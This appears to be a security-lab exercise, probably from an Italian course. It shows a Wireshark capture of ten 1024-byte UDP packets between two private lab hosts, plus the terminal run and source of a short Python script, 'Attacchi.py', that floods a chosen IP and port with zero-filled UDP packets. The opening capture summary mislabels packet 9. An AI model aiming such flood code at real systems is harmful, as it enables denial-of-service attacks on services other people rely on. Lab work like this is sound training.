

Wireshark interface showing a packet capture of an ICMPv6 Router Solicitation from 08:00:27:9c:4c:27. The packet list shows 13 packets, with packet 9 selected. The packet details pane shows the structure of the packet: Ethernet II, Internet Protocol Version 4, User Datagram Protocol, and Data (1024 bytes). The packet bytes pane shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	fe80::a00:27ff:fe9c...	ff02::2	ICMPv6	72	Router Solicitation from 08:00:27:9c:4c:27
2	3.028423381	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
3	3.028448564	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
4	3.028502651	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
5	3.028509048	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
6	3.028556182	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
7	3.028567069	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
8	3.028594121	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
9	3.028602432	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
10	3.028640673	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
11	3.028652549	192.168.32.100	192.168.32.101	UDP	1068	52353 → 1111 Len=1024
12	16.498159144	192.168.32.101	192.168.32.100	DNS	87	Standard query 0x5c7b A te
13	16.498181304	192.168.32.100	192.168.32.101	ICMP	115	Destination unreachable (P

Frame 9: 1068 bytes on wire (8544 bits), 1068 bytes captured on interface eth0, 1068 bytes from 192.168.32.100 to 192.168.32.101 on interface eth0

Linux cooked capture v1

Internet Protocol Version 4, Src: 192.168.32.100, Dst: 192.168.32.101

User Datagram Protocol, Src Port: 52353, Dst Port: 1111

Data (1024 bytes)

0000 00 04 00 01 00 06 08 00 27 9c 4c 27
0010 45 00 04 1c 0f 35 40 00 40 11 65 82
0020 c0 a8 20 65 cc 81 04 57 04 08 c6 33
0030 00 00 00 00 00 00 00 00 00 00 00 00
0040 00 00 00 00 00 00 00 00 00 00 00 00
0050 00 00 00 00 00 00 00 00 00 00 00 00
0060 00 00 00 00 00 00 00 00 00 00 00 00
0070 00 00 00 00 00 00 00 00 00 00 00 00
0080 00 00 00 00 00 00 00 00 00 00 00 00
0090 00 00 00 00 00 00 00 00 00 00 00 00
00a0 00 00 00 00 00 00 00 00 00 00 00 00
00b0 00 00 00 00 00 00 00 00 00 00 00 00
00c0 00 00 00 00 00 00 00 00 00 00 00 00
00d0 00 00 00 00 00 00 00 00 00 00 00 00
00e0 00 00 00 00 00 00 00 00 00 00 00 00

wireshark_anyKRL6Z1.pcapng

Packets: 13 · Displayed: 13 (100.0%)

```
(kali@kali)-[~/Desktop]
$ python Attacchi.py
Inserisci un indirizzo ip target: 192.168.32.101
Inserisci una porta target: 1111
Inserisci il numero di pacchetti da inviare: 10

(kali@kali)-[~/Desktop]
$
```

```
~/Desktop/Attacchi.py - Mousepad

File Edit Search View Document Help

1 import socket
2
3 SRV_ADDR = input("Inserisci un indirizzo ip target: ")
4 SRV_PORT = int(input("Inserisci una porta target: "))
5
6 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
7
8
9 target_address = (SRV_ADDR, SRV_PORT)
10
11 num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))
12
13 packet_size = 1024
14
15 message = b"\x00" * packet_size
16
17
18 for i in range(num_packets):
19     sent = sock.sendto(message, target_address)
20
```